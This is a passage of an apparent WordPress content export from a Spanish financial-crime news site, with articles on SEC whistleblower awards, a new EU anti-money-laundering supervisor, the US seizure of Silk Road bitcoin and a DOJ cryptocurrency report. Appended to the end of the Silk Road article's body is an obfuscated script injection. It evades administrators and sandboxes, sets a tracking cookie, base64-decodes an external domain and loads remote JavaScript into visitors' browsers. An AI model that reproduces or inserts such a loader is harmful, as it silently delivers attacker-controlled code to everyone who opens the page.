entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, 